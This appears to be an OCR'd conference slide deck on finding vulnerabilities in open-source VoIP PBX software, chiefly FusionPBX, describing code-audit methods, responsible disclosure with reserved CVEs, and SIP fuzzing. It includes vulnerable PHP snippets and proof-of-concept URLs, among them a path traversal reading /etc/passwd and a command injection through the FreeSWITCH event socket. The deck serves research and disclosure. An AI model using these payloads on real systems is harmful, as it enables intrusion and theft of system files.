OPEN N

FINDING VULNERABILITIES IN
OPEN SOURCE IP PBX VOIP
SOFTWARE

PIERRE JOURDAN



WHOAMI

PIERRE JOURDAN
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DISCLAIMER

https://icon-library.net

* OPINIONS EXPRESSED ARE SOLELY MY OWN AND DO NOT EXPRESS THE VIEWS OR OPINIONS OF
MY EMPLOYER.

e THE PRESENTATION IS INTENDED FOR EDUCATIONAL PURPOSES ONLY.


https://icon-library.net/

THE IDEA

OPEN SOURCE SOFTWARE CODE IS EASY TO AUDIT AS DISCLOSED

THEY HAVE MANY CONTRIBUTORS, CHANGING OVER TIME, WITH VARIOUS SECURITY AWARENESS
Q&A? SDLC?
THEY HAVE LIMITED RESOURCES / BUDGET

| KNOW ABOUT VOIP AND CYBER-SECURITY IS A PASSION...



S

e LET'S SEE IF WE CAN FIND VULNERABILITIES IN SOME WELL-KNOWN VOIP SOFTWARE ©

* ALSO NO BUDGET HERE, DOING ALL WITH FREE TOOLS ON MY SPARE TIME FOR PAST 3 MONTHS
e STILL A WORK-IN-PROGRESS, SPENT AROUND 100 HRS ON IT

* RESPONSIBLE DISCLOSURE OF THE FINDINGS

e LESSONS LEARNED AND MITIGATION



GOOGLING

* WHO ARE THE MAIN OPEN SOURCE VOIP SOFWARE NOWADAYS?

¢ FOUND 3 MAIN ACTORS: ASTERISK, FREESWITCH, KAMAILIO

¢ MANY FRONTENDS/DISTRO ARE BUILT AROUND THESE CORE ENGINES
* AGING TECH, > 10Y OLD FOR SOME

 COREIN C/C++, FRONTENDS IN PHP/SQL/HTML/JS

FreePBX.

let freedom ring™




WHAT'S UNDER THE HOOD

¢ RUN IN LINUX, VARIOUS DISTRO (CENTOS, DEBIAN]
 USES VARIOUS WEB SERVERS (APACHE, NGINX)

* USES VARIOUS SQL SERVERS (POSTGRESQL, MYSQL)
*  ADMINISTRATION PANEL IN PHP/SQL/HTML/JS

* VARIOUS SIP ENGINES FOR THE COMMUNICATION WITH HANDSETS/SOFTPHONES/TRUNKS
« ASTERISK USES PJ_SIP OR CHAN_SIP (OLDER)
e FREESWITCH USES SOFIA

*  KAMAILIO IS BASED ON OPENSER

» SOURCE CODE IN GITHUB, ISO READY TO USE AND DOWNLOAD



TEST ENVIRONMENT

* [NSTALLING ISO’S IN VMWARE PLAYER
* SOME QUICK TESTS AND RECONNAISSANCE
« DOWNLOADED LATEST SOURCES FROM GITHUB

» KEEP TRACK OF THE FINDINGS WITH MANTIS (BUG TRACKER), INSTALLED QUICKLY IN AN
EASYPHP (WEB-SERVER KIT FOR WINDOWS)

» (GET STARTED?



WHERE TO START¢

* FOCUSING ON FUSIONPBX FIRST
e FOCUSING ON ITS ADMINISTRATION PANEL

* HANDY TOOLS: NOTEPAD++ AND SEARCHMYFILES



METHOD 1: AUDIT USER INPUTS

e SEARCHING USER INPUTS VARIABLES IN PHP

* LOOK FOR ALL OCCURRENCES OF:
« $_REQUEST['XXX'] (HTTP REQUESTS ARGUMENTS)

$_GET['XxX'] (VARIABLES PASSED IN URLS)

$_POST[*XxX'] (VARIABLES PASSED IN FORMS)

$_COOKIE[*XXX"] (VARIABLES PASSED IN COOKIES)

$_SERVER[‘XXX'] (SOME VARIABLES PASSED BY USER BROWSER, SUCH AS USER-AGENT, REFERER)

$_FILE['XxX'] (FILE UPLOADS VARIABLES SUCH AS FILENAME)



METHOD 1: AUDIT USER INPUTS

« HOW?2 SEARCH FOR « S_ » IN SEARCHMYFILES, GOING THROUGH THE SOURCE REPO
RECURSIVELY

e OPEN ALL FILES FOUND IN NOTEPAD++
* SEARCH AGAIN IN ALL OPENED DOCUMENTS, GO ONE BY ONE

* MAKE A SPREADSHEET WITH TOTAL OCCURRENCES AND AMOUNT REVIEWED, WITH A PERCENT
REPRESENTING THE CODE COVERAGE, KEEP TRACK OF PROGRESS

A
T |PHP % Amount checked Total amount
100 720
100 1423
0 0

0 0
0 0
0 0

7 $_SERVER



METHOD 1: AUDIT USER INPUTS

* WHAT TYPE OF VULNERABILITIES ARE WE LOOKING FOR?
* (CROSS-SITE SCRIPTING (XSS), WITH VARIABLES REFLECTED DIRECTLY IN HTML
* SQL INJECTIONS (SQLI), WITH VARIABLES INSERTED DIRECTLY IN SQL QUERIES

*  OTHERS INJECTIONS, E.G PATH TRAVERSALS

 ANY LUCK?
« YESI!I



FUSIONPBX FINDINGS IN BRIEF

R

, S Q I_l : 55 MantisBT [# ReportIssue & Invite Users FusionPBX & administrator ¥
X & =dministrator  administrator Recently Visited: 0000021, 0000020, 0000017, 0000013 | Q) Issue #
* OTHERS*™: 15
Y Filters = A

4 | STOPPED AT View Issues % Reset | @ Save
VU LN E RA BI LITI ES GOT Tl R ED I I @ Reporter  Assigned To Monitored By Mote By Priority Severity View Status Show Sticky lssues
ot any any any Yes

Report Issue ) =y ) Ely
TH ERE ARE MORE @ Category  Hide Status Status Resolution Filter by Date Submitted Filter by Last Updated Date
=3 any none any any Mo No
ch L Profile Platform os 05 Version Product Version Fixed in Version Target Version Relationships
ange Log any any any any any any any any
Tags
A -
GELIET
Show 50 Sort by Updated Descending Match Type All Conditions Highlight changed (hours) 6
* EXAMPLES? L
Search Apply Filter
Summary
[0 Viewing Issues 1-50/104
Manage
« Print Reports | CSV Export | Excel Export | Summary First | Prev 1 2 | 3 | MNext | Last
Updated
P D ® % Category Severity Status P Summary
-
# = 0000109 2 General  minor .confirmed 2019-08- APl command injection in cmd.php
(administrator) 15
# = 0000034 1 General  minor .assigned{ad"l"ristrator) 2019-08- APl command injection

40



XSS — EXAMPLE

AN EXAMPLE OUT OF MANY, OF A GET VARIABLE

TAKEN AS-IS AND REFLECTED IN HTML CODE
GENERATED BY ONE OF THE PAGES

[=] sip_status.php E1

76
77
78
79
g0
a1
g2
a3
24
a5
86
a7
a8
a9
90
91
92
93
94
95
96
97
98
99
100
101

//show the content

require_once “resources/header.php”;
$document['title'] = $text['title-sip-status'];

$msg = $ GET["savemsg"];

if ($ SESSION['event socket ip address'] == "0.0.0.8") {

: $socket ip = '127.0.0.1"';

; $fp = event_socket create($socket ip, $ SESSION[ 'event socket f
} else {

§ $fp = event_socket create($ SESSION[ 'event socket ip address'],
}

if (!$fp) {

: $msg = "<div align='center's".$text['error-event-socket']."<br
}

if (strlen($msg) = 0) {

echo "<div align='center'=\n";

echo "<table width="40%'=\n";

echo "<tr=\n";

echo "<th align='left'=".$text[ ' 'label-message']."</th=\n";
echo "</tr=\n";

echo "<tr=\n";

echo "<td class='row stylel'=<strong=$msg</strong=</td=\n";
echo "</tr=\n";

echo "</table>=\n";

echo "</div=\n";

WHILST ON OTHERS VARIABLES IN SAME PAGE AND OTHERS, ARE NORMALLY PUT UNDER AN ESCAPE()

FUNCTION FOR CLEAN-UP/SANITIZATION

257 § § § echo "<td width='100%"'=\n";
258 g g g echo " <b==a href='javascript:void(@);
259 g g g echo "</td=\n";

onclick=&'5{'#'.escapd($sip_prnfile_name].'



XSS — ESCAPE() FUNCTION

* THE ESCAPE() FUNCTION IS JUST PASSING ARGS TO THE PHP FUNCTION HTMLENTITIES )

[=] functions.php E1

2018

2019 //escape user data

2020 = function escapel(fl;string} {

2021 return htmlentities($string, ENT QUOTES | ENT HTML5, 'UTF-8');
20822 //return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');

2023 T

74

* ALERT(1) BECOMES ALERT&LPAR;1&RPAR; ONCE ESCAPED



SQLI - EXAMPLE

*  WHEN FIRST CHECKED | FOUND MANY SQL INJECTIONS BUT UNTIL SUBMIT A MONTH LATER THEY
HAD FIXED MOST, YET THEY FORGOT THIS ONE:

[=] call_broadcast_editphp E1 [ ca

281 = lf (count(%_ GET}>G && % PDST[ persistformvar®] !'= "true") {

282 : ¢call broadcast uu1a ¢ GET["id"];

283 § $sgl = “"select * from v_ call _broadcasts *;

284 § ¢sql .= 'where domain uuid = '$domain_uuid'

285 § $sgl .= "and gall broadcast uuid = 'scall broadcast uuid’
286 : ¢prep statement = - $db- >prepare{check sq1{$sql}

287 § $prep statement- >execute{}

* HERE WE SEE A GET VARIABLE TAKEN AS-IS IN AN SQL QUERY SYNTAX
e (ONCE REPORTED THE FIX WAS TO USE PARAMETERIZATION (AS EVERYWHERE ELSE)

[=] call_broadcast_editphp £

231 = if (count($ GET)=0 && $ POST["persistformvar®] '= "true") {

235 ¢call broadcast uuid = $ GET["id"];

236 $sgql = "select * from v_call broadcasts

237 $sgl .= 'where domain uuid = :domain uuid

238 $sgl .= "and gall broadcast uuid = :call broadcast uuid
239 ¢$parameters[’ domain uuid’ ] = $domain_ uu1d

240 ¢$parameters[’ call_broadcast_uu1d ] = $call broadcast uuid;
241 tdatabase = new database;

242 $row = $database-=select($sql, $parameters, 'row');



PATH TRAVERSAL

* FEW PLACES WHERE FILE OPERATIONS WERE POSSIBLE WITHOUT PROPER SANITIZATION OF THE
FILE OR FOLDER ARGS

* ALLOWS TO TAMPER WITH ANY FILE OF THE SYSTEM

* HERE WE SEE A DOWNLOAD PAGE WHICH CAN BE CALLED BY ANY AUTHENTICATED USER
PASSING GET ARG TO A SUBFUNCTION:

[ download php B B secure_download.phe

29

30 $file = $ GET["T"];

31 require_once “resources/secure_download.php";
32 f/echo $file;

33 DownloadFile($file dir.$file);

=Y.

 INTERESTINGLY THE $FILE_DIR VARIABLE IS NEVER SET...



PATH TRAVERSAL - SUBFUNCTION

[=] secure_download.php 1

42

43 mfunction DownloadFile($filename) {

44 // Check filename

58 = if {(empty($filename) || !'file exists($filename)) {

46 § echo "Error: file doesn't exist or is empty. <br=\n $filename"”;
47 : return FALSE;

43 T

49

50 $file extension = strtolower(substr{strrchr{$filename,”."),1));
51 = switch ($file extension) {

52 case "pdf": $ctype="application/pdf"; break;

53 case "exe": $ctype="application/octet-stream”; break;

54 case "zip": $ctype="application/zip"; break;

55 case "doc": $ctype="application/msword”; break;

56 case "xls": $ctype="application/vnd.ms-excel”; break;

57 case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
58 case "gif": $ctype="image/gif"; break;

59 case "png": $ctype="image/png"; break;

60 case 'jpe : case "jpeg":

61 case "jpg": $ctype="image/jpg"; break;

62 @ default: $ctype- application/force-download";

63 +

64

65 ST (! file_exists($filename)) {

66 I die("NO FILE HERE<br=%$filename"):

67 ff}

68

69 // Create download file name to be displayed to user

70 $saveasname = basename($filename);

71

72 header("Expires: 0");

73 header(“Pragma: public");

74 header("Expires: 0");

73 header("“Cache-Control: must-revalidate, post-check=0, pre-check=0");
76 header("“Cache-Control: private”,false);

77 header("“Content-Type: $ctype");

78 header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
79 header("“Content-Transfer-Encoding: binary");

80 header("Content-Length: ".@filesize($filename));

81

82 set_time limit(0);

g3 ® @readfile($filename) or die("File not found.");

[=F.]

CHECK IF FILE EXISTS ONLY

CHECK FILE EXTENSION, FOR HTTP
HEADER PURPOSE ONLY, IF NO
MATCH, FORCE DOWNLOAD!

READ FILE AND OUTPUT WITHOUT
PATH CONTROL

E.G: HTTPS://XXX/RESOURCES
DOWNLOAD.PHP2F=



https://xxx/resources/download.php?f=/etc/passwd

OTHERS

* SOFIA (FREESWITCH SIP ENGINE) PROVIDES A LUA APl IN WHICH INSTRUCTIONS CAN BE SENT
TO THE CORE

 COMMANDS PASSED THROUGH A SOCKET ACCESSIBLE TO LOCALHOST
* MOST OF THESE COMMANDS ARE DOING ACTIONS IN PBX ONLY
* |INTERESTINGLY, NOT MUCH DOCUMENTED IS A CALL ALLOWING TO RUN SYSTEM COMMANDS

* SO, IF NOT PROPERLY IMPLEMENTED SOMEONE COULD COMPROMISE THE MACHINE
COMPLETELY FROM WEB FILES



APl INJECTION EXPLAINED

26 include "root.php";
27 require once “resources/require.php”;
28 require once “resources/check auth.php";

2080 Eif (permission exists('call center gueue add') || permission exists('call center gueue edit')) {
30 /faccess granted

31 }

32 melse {

33 echo "access denied";

34 exit;

35 }

36

37® 4$cmd = $ GET['cmd'];

38 $rdr = $ GET['rdr'];

39

40 //connect to event socket

41 $fp = event socket create($ SESSION['event socket ip address'], $ SESSION['event socket port'], $ SESSION['event socket password'l]);
42 mif ($fp) {

43 $response = event socket request($fp, 'api reloadxml');
44 @ $response = event socket request($fp, $cmd);
a5 fclose($fp);

* WE SEE FIRST THAT THE PAGE IS TESTING IF A SPECIFIC PERMISSION EXISTS (LOWER THAN ADMIN
PRIVILEDGE) = POTENTIAL PRIVILEDGE ESCALATION

e THEN A GET ARG IS TAKEN AS-IS (AGAIN) AND SENT TO THE SOCKET

o HTTPS://XXX/APP/CALL CENTERS/CMD.PHP2SRDR=FALSE
T A P IS Y s TEMIZZ8T O U C HIZ3P0

* RESULTS IN A FILE CREATED IN /TMP FOLDER, AS USER WWW-DATA

root@fusionpbx:/tmp# 1s -alt

total 56

drwxrwxrwt 12 root root 4096 Sep 1 11:31 .
-rw-rw---- 1 www-data www-data 0 Sep 1 11:31 test



https://xxx/app/call_centers/cmd.php?rdr=false&cmd=api%20system%20touch%20/tmp/test

METHOD 2: CHECK DEPENDANCIES

e LIST ALL JAVASCRIPT FILES FROM SOURCES
« CHECK THE COMMENTS/HEADER LOOKING FOR APP NAME AND VERSION
« SEARCH FOR THOSE ON SNYK.IO

« WHAT ARE WE LOOKING FOR?
« OLlD DEPENDANCIES, FORGOTTEN AND OUT-OF-DATE
* KNOWN ISSUES IN VULNERABLE JAVASCRIPT PACKAGES

 ANY LUCK?
- YESII



METHOD 2: CHECK DEPENDANCIES

e 5 REPORTED VULNERABILITIES IN JS DEPENDANCIES:
*  MULTIPLE XSS IN JQUERY 1.8.3 AND 1.11.]1
e MULTIPLE XSS IN JQUERY Ul 1.9.2
e  MULTIPLE XSS IN BOOTSTRAP 3.3.6
* JS PROTOTYPE POLLUTION IN JQUERY 1.8.3



Test  Features v Vulnerability DB Blog  Partners  Pricing Docs  About Log In SignUp

Vulnerability DB > O npm > jquery-ui

CVSS SCORE
@ Cross-site Scripting (XSS) 7
. . . . HIGH SEVERITY
Affecting jquery-ui package, versions <1.12.0 °
ATTACK VECTOR ATTACK COMPLEXITY
Do your applications use this vulnerable package? Test your applications
Network Low
Overview
PRIVILEGES REQUIRED USER INTERACTION
jquery-ui = is a library for manipulating Ul elements via jQuery. _
Low Required
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). One of the provided elements is a dialog, which also
supports showing custom text for closing via the [_closeText_] (https://api.jqueryui.com/dialog/#option-closeText [ ) property.
However, the content of this property is added to the HTML with no sanitization, allowing arbitrary scripts. SCOPE CONFIDENTIALITY
If you allow user input to be passed through to the _closeText_ property, you may have a Cross-site Scripting (XSS) vulnerability. e High
Details
INTEGRITY AVAILABILITY

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating

from a trusted source. High None



METHOD 3: ANYTHING UNAUTHENTICATED®?

e A VALUABLE ATTACK VECTOR IS A PAGE THAT CAN BE REQUESTED FROM REMOTE WHILST
UNAUTHENTICATED.

* AS PBX DISTROS HAVE HUNDREDS/THOUSANDS OF PAGES, WE NEED AN AUTOMATED CRAWLER

* SO | MADE A QUICK PHP SCRIPT LISTING ALL PHP FILES OF THE DISTRO FOLDER, AND BROWSING
THEM RECURSIVELY THROUGH A CURL FUNCTION ON MY WEBSERVER.

* UNFORTUNATELY, AFTER REVIEW, THERE WERE NO FINDINGS WITH THIS METHOD.



WHAT'S NEXTe

« RECHECKED THE FINDINGS ON LATEST VERSION (A MONTH HAD PASSED)

* TESTED THEM IN MY BROWSER, PLAY WITH URLS AND INSPECT SOURCE WITH DEV TOOLS.
* FOR POST ARGS OR MORE COMPLEX TAMPERING, USED BURP COMMUNITY
 REPORTED THE ONES STILL CURRENT IN VENDOR BUG TRACKER (40 out oF 100)

*  MOST GOT FIXED FAST, DEV THANKFUL

* |INFORMED THEM OF WILLING TO FILL CVE ABOUT THOSE AND DISCLOSURE IN T MONTH

e REQUESTED 35 CVE NUMBERS ON HTTPS://CVE.MITRE.ORG/CVE/REQUEST ID.HTML
WAITING VALIDATION... AND A WEEK AGO GOT CONFIRM WITH CVE RESERVED NUMS!



https://cve.mitre.org/cve/request_id.html

RESERVED CVES

CVE-2019-16964
CVE-2019-16965
CVE-2019-16966
CVE-2019-16967
CVE-2019-16968
CVE-2019-16969
CVE-2019-16%970
CVE-2019-16971
CVE-2019-16972
CVE-2019-16973

CVE-2019-16974
CVE-2019-16975
CVE-2019-16976
CVE-2019-16977
CVE-2019-16978
CVE-2019-16979
CVE-2019-16980
CVE-2019-16981
CVE-2019-16982
CVE-2019-16983

+ SOME MORE COMING ©

CVE-2019-16984
CVE-2019-16985
CVE-2019-16986
CVE-2019-16987
CVE-2019-16988
CVE-2019-16989
CVE-2019-16990
CVE-2019-16991



FREEPBX
FreePBX.

let freedom ring™

« SAME TECHNIQUES WERE APPLIED ON FREEPBX 14
* FOUND 10 XSS, REPORTED, AND FILLED CVES REQUESTS, ALSO WAITING

* FOUND VULNERABLE SQL QUERIES, BUT TURNED OUT TO BE NOT EXPLOITABLE
 DIDN'T GO DEEP...



SOME DIFFICULTIES

» SOME CODE LOOK VULNERABLE BUT IN PRACTICE AREN'T EXPLOITABLE, FILES AREN'T
REACHABLE DIRECTLY AS IN FUSIONPBX, THEY PASS THROUGH SOME CENTRAL ENDPOINTS /
AJAX HANDLERS. THOSE ARE ALSO ESCAPING/ENCODING ARGS.

» CHROME WAS BLOCKING SOME OF MY XSS ATTEMPTS, HAD TO DISABLE XSS AUDITOR
S VNI N(eERxez o]V IR>{=M- - DISABLE-XSS-AUDITOR

e RAN METHOD 3 TO LOCATE FILES ACCESSIBLE WITHOUT AUTHENTICATION, GOT BANNED!
=> HAD TO DISABLE FAIL2BAN ON THE VM.



AUTOMATING AUDIT

* AUTOMATE THE CODE AUDITING PART, THERE ARE GOOD COMMERCIAL SOLUTIONS FOR THAT
BUT EXPENSIVE AND NOT MANY FREE OPEN-SOURCE ALTERNATIVES...

e FOUND XSSAMINER, SMALL SHELL SCRIPT LOOKING FOR XSS PATTERNS IN PHP CODE
=> LOTS OF FALSE-POSITIVES, BUT FOUND 3 VALID XSS OuUT OF IT.

*  ANOTHER WELL-KNOWN ONE IS SONARQUBE, HAS A COMMUNITY EDITION AND A
COMMERCIAL
=> TRIED INSTALLING LATEST COMMUNITY IN UBUNTU AND WINDOWS BUT FAILED...
=> LACK OF DOCUMENTATION (ON PURPOSE?)
=> NEXT, WILL TRY DOCKER PRE-INSTALLED/PRE-CONFIGURED



XSSAMINER LOGS

LOTS OF FALSE POSITIVES AND THINGS TO CLEANUP BUT SOME FINDINGS ARE WORTHY

Ij xssaminerlog B

5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011
5012
5013

File:
File:
File:
File:
File:
File:
File:
File:

125:

File:
File:

89:

File:

61:

//html/admin/modules/backup/functions.inc/class.backup.php

A (/html/admin/modules/backup/functions.inc/restore.php
fvary i/html/admin/modules/backup/functions.inc/s3.php

fvary //html/admin/modules/backup/functions.inc/servers.php
fvary /html/admin/modules/backup/functions.inc/templates.php
/var (/html/admin/modules/backup/functions.inc.php

/vary ;/html/admin/modules/backup/install.php
Svar/www/html/admin/modules /backup/page.backup.php

=div class="display <7php echo !empty(% REQUEST['action']l) ? 'full'
//html/admin/modules/backup/page.backup restore.php
//html/admin/modules/backup/page.backup servers.php

Svar/

Svar/

=div class="display <7php echo !empty($ REQUEST['action']) ? 'full' : 'no

Svar/waw/html/admin/modules /backup/page.backup templates.php

=div class="display <7php echo !empty($ REQUEST['action']) ? 'full' : 'no

‘no'?=-border"=

'?=-border"=

'?=-border"=



SIP BACKEND

* FOCUSING NEXT ON THE BACKEND (ASTERISK & FREESWITCH)
* SIP (SESSION INITIATION PROTOCOL) IS A SIGNALLING PROTOCOL, WIDELY USED IN VOIP

« USED FOR E.G TO:
AUTHENTICATE PHONE ENDPOINTS (REGISTER)
* PLACE cALLS (INVITE)
* AND MANY MORE..

 PBXS LISTEN ON SIP PORT 5060 TCP/UDP BY DEFAULT

*  WHAT IF WE SEND INVALID SIP MESSAGESe ANY CRASHES/DOS POSSIBLE?



TYPICAL SIP FLOW

* REGISTER AS EXTENSION, INVITE FROM CLIENT (UAC), THEN ANSWER FROM PBX (UAS):

Frame 4811: 642 bytes on wire (5136 bits), 642 bytes captured (5136 bits) on interface @
Ethernet II, Src: Vmware 22:c5:c9 (00:0c:29:22:c5:¢9), Dst: Vmware fd:81:7c (00:0c:29:1d
Internet Protocol Version 4, Src: 192.168.146.145, Dst: 192.168.146.141
User Datagram Protocol, Src Port: 42864, Dst Port: 5160
v Session Initiation Protocol (REGISTER)
Request-Line: REGISTER sip:192.168.146.141:5160;transport=UDP SIP/2.0
v Message Header
Via: SIP/2.8/UDP 192.168.146.145:42864;branch=z9hG4bK-524287-1---bb47c50524c41964 ;1
Max-Forwards: 70
Contact: <sip:005@192.168.146.145:42864; rinstance=4011t7194743dd784 ; transport=UDP>
To: <sip:005@192.168.146.141:5160;transport=UDP:>
From: <sip:005@192.168.146.141:516@;transport=UDP>;tag=1133115a
Call-ID: @KiwOpgklKwLuMoyjel23A..
CSeq: 4 REGISTER
Expires: 6@
Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFQ, SUBSCRIBE
User-Agent: Z 5.2.28 rv2.8.114
Allow-Events: presence, kpml, talk
Content-Length: @

Frame 2: 523 bytes on wire (4184 bits), 523 bytes captured (4184 bits)
Ethernet II, Src: Vmware 22:c5:c9 (00:0c:29:22:¢5:c¢9), Dst: Vmware fd:8
Internet Protocol Version 4, Src: 192.168.146.145, Dst: 192.168.146.141
User Datagram Protocol, Src Port: 5068, Dst Port: 5160
v Session Initiation Protocol (INVITE)
Request-Line: INVITE sip:000@192.168.146.141 SIP/2.0
v Message Header
Via: SIP/2.8/UDP 192.168.146.145:5060;branch=z9hG4bKo00000
From: @ <sip:005@192.168.146.145>;tag=0
To: Receiver <sip:000@192.168.146.141>
Call-ID: ©@192.168.146.145
CSeq: 1 INVITE
Contact: @ <sip:085@192.168.146.145>
Expires: 1200
Max-Forwards: 7@
Content-Type: application/sdp
Content-Length: 131
v Message Body
v Session Description Protocol
Session Description Protocol Version (v): ©
Owner/Creator, Session Id (o): @ @ @ IN IP4 192.168.146.145
Session Mame (s): Session SDP
Connection Information (c): IN IP4 192.168.146.145
Time Description, active time (t): © ©
Media Description, name and address (m): audio 9876 RTP/AVP @
Media Attribute (a): rtpmap:® PCMU/8000



INSERTING ANOMALIES

* EXAMPLE ANOMALY: INSERT JUNK IN THE SIP METHOD

Frame 7: 531 bytes on wire (4248 bits), 531 bytes captured (4248 bits) on interface @
Ethernet II, Src: Vmware 22:c5:c9 (00:0c:29:22:¢5:¢9), Dst: Vmware fd:81:7c (80:08c:29:f
Internet Protocol Version 4, Src: 192.168.146.145, Dst: 192.168.146.141

User Datagram Protocol, Src Port: 50868, Dst Port: 5160
Session Initiation Protocol (aaaaaaaaa)
Request-Line: aaaaaaaaa sip:00OE192.168.146.141 SIP/2.0

v Message Header

Via: SIP/2.8/UDP 192.168.146.145:5068;branch=z9hG4bK00002000002

From: 2 <sip:085@192.168.146.145>;tag=2

To: Receiver <sip:000@192.168.146.141>

Call-ID: 2@192.168.146.145

CSeq: 1 INVITE

Contact: 2 <sip:@05@192.168.146.145>

Expires: 1200

Max-Forwards: 70

Content-Type: application/sdp

Content-Length: 131

Session Description Protocol
Session Description Protocol Version (v): @
Owner/Creator, Session Id (o): 2 2 2 IN IP4 192.168.146.145
Session Mame (s): Session SDP
Connection Information (c): IN IP4 192.168.146.145
Time Description, active time (t): 0 @
Media Description, name and address (m): audio 9876 RTP/AVP @
Media Attribute (a): rtpmap:@ PCMU/8000

e ASIT'S A COMPLEX PROTOCOL, AND THERE ARE MANY/INFINITE ANOMALIES, THOSE SHOULD
BE TESTED AUTOMATICALLY THROUGH FUZZING, HERE FIRST TEST FROM PROTOS



OPEN SOURCE SIP FUZZERS

* FUZZING WITH TOOLS THAT ARE SIP-AWARE, TO LIMIT THE ANOMALIES « KEYSPACE »

« PROTOS (16Y OLD)
* VOIPER (11Y OLD)

« OLD BUT GOLD?
 BUT ALSO BUGGY ®



PROTOS DIFFICULTIES

* PROTOS WAS ORIGINALLY A UNIVERSITY PROJECT

* JAVA BASED, IT HAD ITS GLORY TIME IN 2003 AS A CERT ADVISORY WAS PUBLISHED
IMPACTING MULTIPLE PBX VENDORS

e EVOLVED AS A COMMERCIAL PRODUCT

 ORIGINAL VERSION STILL USABLE, NOWADAYS SHIPPED WITH KALI WITHOUT DOCUMENTATION

 UNFORTUNATELY IT'S CRASHING EVERY FEW TESTS (JAVA ERRORS)
=> NEED TO FIX THE JAVA CODE

OR
MAKE A SCRIPT TO RESTART AUTOMATICALLY WITH NEXT TEST AS ONLY SOME TESTPLANS WILL

THROW AN ERROR.



JAVA ERRORS

Sending Test-Case #4374

java.lang.StringIndexOutOfBoundsException: begin 8, end 65587, length 63519
at java.base/java.lang.String.checkBoundsBeginEnd(String.java:3319)
at java.base/java.lang.String.substring(String.java:1874)

at FI.
at FI.
at FI.
at FI.
at FI.
at FI.
at FI.

Exit status
Last test was

Java failure

protos.
protos.
protos.
protos.
protos.
protos.
protos.

255

ouspg.
ouspg.
ouspg.
ouspg.
ouspg.
ouspg.
ouspg.

wrapper.
wrapper.
wrapper.
wrapper.
wrapper.
wrapper.
wrapper.

SIPBugCat.limit(SIPBugCat.java:698)
SIPBugCat.send(SIPBugCat.java:490)
SIPBugCat.inject(SIPBugCat. java:439)
BugCatZero.parselarFile(BugCatZero.java:479)
BugCatZero.parseTestCases(BugCatZero. java:334)
BugCatZero.run(BugCatZero. java:306)
SIPBugCat.main(SIPBugCat.java:380)

4374, will restart at 4204
Last run was 4204

test-case #3932, 532 bytes

java.lang.RuntimeException: Internal error, invalid test case file 'testcases/8003933'
at FI.protos.ouspg.wrapper.BugCatZero.parselarFile(BugCatZero. java:483)
at FI.protos.ouspg.wrapper.BugCatZero.parseTestCases(BugCatZero.java:334)
at FI.protos.ouspg.wrapper.BugCatZero.run{BugCatZero.java:306)
at FI.protos.ouspg.wrapper.SIPBugCat.main(S5IPBugCat.java:380)

Exit status : ©

Last test was 3932, will restart at 3930

Last run was 3930

Java failure



[=] protos.php 4

1 =E<?php

2

3 $source ip="192.168.146.145";

4 $target ip="192.168.146.141";

5 $target port="5160";

) $from="005";//"654321";

7 $to="000";//"123456" ;

8

9

10

11 $i=0;

12 $last_run=-1;

13 run_protos($i);

14

15 function run_protos($i=0)

16 =

17 global $last test,$last run,$java error;

18 global $source ip,%$target ip,%target port,$from,$to;

19

20 $result = liveExecuteCommand("“protos-sip -touri $to@$target ip -fromuri $from@$source ip -dport $target port -start $i");
21 = fFiT($result['exit status'] === 0){

22 // do something if command execution succeeds

23 echo "success";

24 } else {

25 // do something on failure

26 kf

27 if($java_error==1)

28 = {

29 $java_error=0;

30 echo "Last test was $last test, will restart at $i\r\n";
31 echo "Last run was $last_run\r\n”;

32

33 if($i==%last_run) $last test=$last test+5; //avoid loops
34

35 $i=$last test+h;

36 $last run=%i;

37

38 echo "Java failure\rin";

39 echo "Last test was $last test, will restart at $i\r\n";
40 echo "Last run was $last_run\r\n”;

41

42 print(“protos-sip -touri $to@$target ip -Tromuri $Trom@%source ip -dport $target port -start $i*);
43 run_protos{$i);

a4 }

45 else

4/ = {

47 § echo "finished without error";

a8 }




function liveExecuteCommand($cmd){
global $last test,$java error;

while (@ ob_end flush()); // end all output buffers if any
$proc = popen("$cmd 2=&1 ; echo Exit status : $?", 'r');
$live output = The
$complete output = "";
while (!feof($proc)){

$live output = fread($proc, 40896);

$complete output = $complete output . $live output;

if(strrpos($live output,"Test-Case #")!==FALSE)
{

‘§last test=substr($live output,strrpos($live output,*Test-Case #")+11);//,strrpos($live output,”\n"));
‘§last test=intval($last test);
$last test=substr($last test,0,strpos($last test,","));

}

if(strrpos($live output,"java.lang")'==FALSE)
$java error=1;

echo "$live output”;
@ flush();

}

pclose($proc);

// get exit status

preg match('/[0-9]+%/', $complete output, $matches);

/f return exit status and intended output

return array (

: 'exit status' == intval($matches[8]),

‘output’ == str_replace("Exit status : * . $matches[0], '', $complete output)



VOIPER DIFFICULTIES

* VOIPER IS A PROJECT OF 2008 BASED ON SULLEY FUZZING FRAMEWORK

» Fuzzes SIP/SDP, DETECTS CRASHES, LOGS CASES

¢ ALSO HAD ITS GLORY AS IT FOUND MANY CRASHES IN VARIOUS SIP CLIENTS AT THE TIME
e PRESENTED AT DEF CON 16

* STILL USABLE TODAY... BUT ALSO BUGGY ®
* REGISTER SEQUENCE NEVER SUCCEEDED, SO WHAT IT SENT GOT MOSTLY REJECTED BY PBX
* SOMETIMES CRASHING, CRASHING ALSO MY UBUNTU LOCK SCREEN FOR SOME REASON

 WORKAROUND: DISABLE REGISTER AND HAVE A SIP CLIENT ON SAME HOST REGISTERED, E.G
LOIPER



WHAT ARE WE LOOKING FOR?

* BY SENDING UNEXPECTED SIP/SDP PACKETS TO THE BACKEND, SEGMENTATION FAULTS MAY
OCCUR, BUFFER OVERFLOWS, NULL POINTERS, ETC..

e ALL THIS GOES BACK TO IMPROPER INPUT VALIDATION IN THE END LIKE XSS/SQLI

=> CRASH?
=> PERFORMANCE ISSUES? (DEADLOCKS, MEMORY LEAKS, ETC)

* COMPLEX PROTOCOL MEANS MANY POSSIBILITIES OUT THERE TO TRY

e CONFORTED BY THE LONG LIST OF SECURITY ADVISORIES
HTTPS://WWW.ASTERISK.ORG/DOWNLOADS/SECURITY-ADVISORIES



https://www.asterisk.org/downloads/security-advisories

EXAMPLE ADVISORIES

AST-2019-001: REMOTE CRASH VULNERABILITY WITH SDP PROTOCOL VIOLATION

